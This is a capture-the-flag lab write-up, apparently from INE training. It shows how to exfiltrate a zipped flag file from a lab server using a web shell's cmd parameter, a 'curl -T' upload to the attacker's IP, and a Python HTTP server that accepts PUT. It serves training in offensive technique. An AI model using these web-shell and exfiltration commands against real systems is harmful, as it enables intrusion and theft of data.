🔬Data Exfiltration

The Kali OS GUI instance is web hosted on the INE website, where:

• You have exploited a vulnerable API endpoint and overwritten it with malicious code. This modification allows you to run commands on the server machine hosting the API, as a low privilege user (i.e. student). A sensitive flag file is kept in a zipped archive file in the student user's home directory.

• There is a monitor process running on the server machine that blocks most protocols except HTTP protocol (when using port 80).

• The API endpoint is accessible at demo.ine.local domain.

Objective: Transfer the zipped archive to your Kali machine using HTTP protocol and retrieve the flag!

Tools used:

• nmap, curl

• A web browser

• Python Scripting

SOLUTION

• Check Kali instance IP address and ping the vulnerable server.

ip -br -c a
ping demo.ine.local

root@INE:~# ip -br -c a
eth1@if126466    UP             192.70.33.2/24 
lo               UNKNOWN        127.0.0.1/8 
ip_vti0@NONE     DOWN           
eth0@if126463    UP             10.1.0.17/16

root@INE:~# ping demo.ine.local
PING demo.ine.local (192.70.33.3) 56(84) bytes of data.
64 bytes from demo.ine.local (192.70.33.3): icmp_seq=1 ttl=64 time=0.159 ms

• The web server IP is 192.70.33.3

nmap

• Perform an nmap scan to check open ports on the server:

  • Simple scan:

sudo nmap demo.ine.local

root@INE:~# sudo nmap demo.ine.local
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-05 15:34 IST
Nmap scan report for demo.ine.local (192.70.33.3)
Host is up (0.0000080s latency).
Not shown: 999 closed tcp ports (reset)
PORT     STATE SERVICE
8000/tcp open  http-alt
MAC Address: 02:42:C0:46:21:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds

• Advanced scan:

sudo nmap -sC -sV -oA nmap/dataexfiltration 192.70.33.3

-sC - for default scripts -sV - probe open ports to determine service/versions info -oA - output all 3 major formats in a directory

root@INE:~# less nmap/dataexfiltration.nmap

# Nmap 7.92 scan initiated Thu May  5 14:31:09 2022 as: nmap -sC -sV -oA nmap/dataexfiltration 192.70.33.3
Nmap scan report for demo.ine.local (192.70.33.3)
Host is up (0.0000080s latency).
Not shown: 999 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
8000/tcp open  http    Werkzeug httpd 0.15.2 (Python 2.7.16)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
MAC Address: 02:42:C0:46:21:03 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May  5 14:31:15 2022 -- 1 IP address (1 host up) scanned in 6.91 seconds

• A Python2 web server (Werkzeug) is running on open port 8000.

• Check the response from a browser by visiting http://demo.ine.local:8000/

Web shell commands

• Pass a parameter named cmd with the URL, using ?cmd=VALUE in the URL:

  • http://demo.ine.local:8000/?cmd=pwd

• http://demo.ine.local:8000/?cmd=ls+-l - check contents of pwd:

• flag.zip file must be transferred to the Kali instance.

• Check if curl command is present on the server

  • http://demo.ine.local:8000/?cmd=curl+-h - curl is present:

• curl can be used to exfiltrate the flag.zip file by sending it over HTTP protocol to a local HTTP server on the Kali instance, using the -T option:

-T, --upload-file This transfers the specified local file to the remote URL. If there is no file part in the specified URL, curl will append the local file name. NOTE that you must use a trailing / on the last directory to really prove to Curl that there is no file name or curl will think that your last directory name is the remote file name to use. That will most likely cause the upload oper‐ ation to fail. If this is used on an HTTP(S) server, the PUT command will be used.

Python HTTP server

• Run a HTTP server on the local machine using python:

python -m SimpleHTTPServer 80

• The Kali instance IP is 192.70.33.2

• http://demo.ine.local:8000/?cmd=curl+192.70.33.2+-T+flag.zip

• Error response - Unsupported method ('PUT')

• (Same error with python3 -m http.server 80)

• Create a Python script to run an HTTP server supporting PUT.

root@INE:~# which python
/usr/bin/python

root@INE:~# nano httpserver.py

• Add the following code to the htttserver.py script:

#!/usr/bin/python
import SimpleHTTPServer
import BaseHTTPServer

class SputHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_PUT(self):
        print self.headers
        length = int(self.headers["Content-Length"])
        path = self.translate_path(self.path)
        with open(path, "wb") as dst:
            dst.write(self.rfile.read(length))

if __name__ == '__main__':
    SimpleHTTPServer.test(HandlerClass=SputHTTPRequestHandler)

Thanks to BigBlueHat for the script.

• Run the SimpleHTTP server using the script:

python httpserver.py 80

• Try again the PUT request http://demo.ine.local:8000/?cmd=curl+192.70.33.2+-T+flag.zip

  • Archive flag.zip was received by the server.

• Stop the running HTTP server and check the folder for the downloaded file.

ls -l

• Unzip the archive and retrieve the flag:

unzip flag.zip
cat flag/flag.txt

📍 Lab solved!

📌 Check An Introduction to Web Shells - by Acunetix